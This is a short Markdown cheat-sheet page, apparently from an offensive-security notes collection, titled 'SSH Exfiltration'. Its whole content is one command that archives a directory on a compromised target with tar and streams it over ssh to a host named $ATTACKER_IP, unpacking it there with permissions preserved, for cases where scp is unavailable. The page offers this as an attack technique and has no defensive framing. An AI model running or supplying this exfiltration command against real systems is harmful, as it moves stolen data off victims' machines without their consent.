12 lines
229 B
Markdown
12 lines
229 B
Markdown
|
# SSH Exfiltration
|
||
|
|
||
|
* Given: without `scp`
|
||
|
|
||
|
## Compress
|
||
|
|
||
|
* Archive the data on target, send it to the attacker. Unpack including preserved permissions
|
||
|
```sh
|
||
|
tar cf - <directory> | ssh user@$ATTACKER_IP "cd /tmp/; tar xpf -"
|
||
|
```
|
||
|
|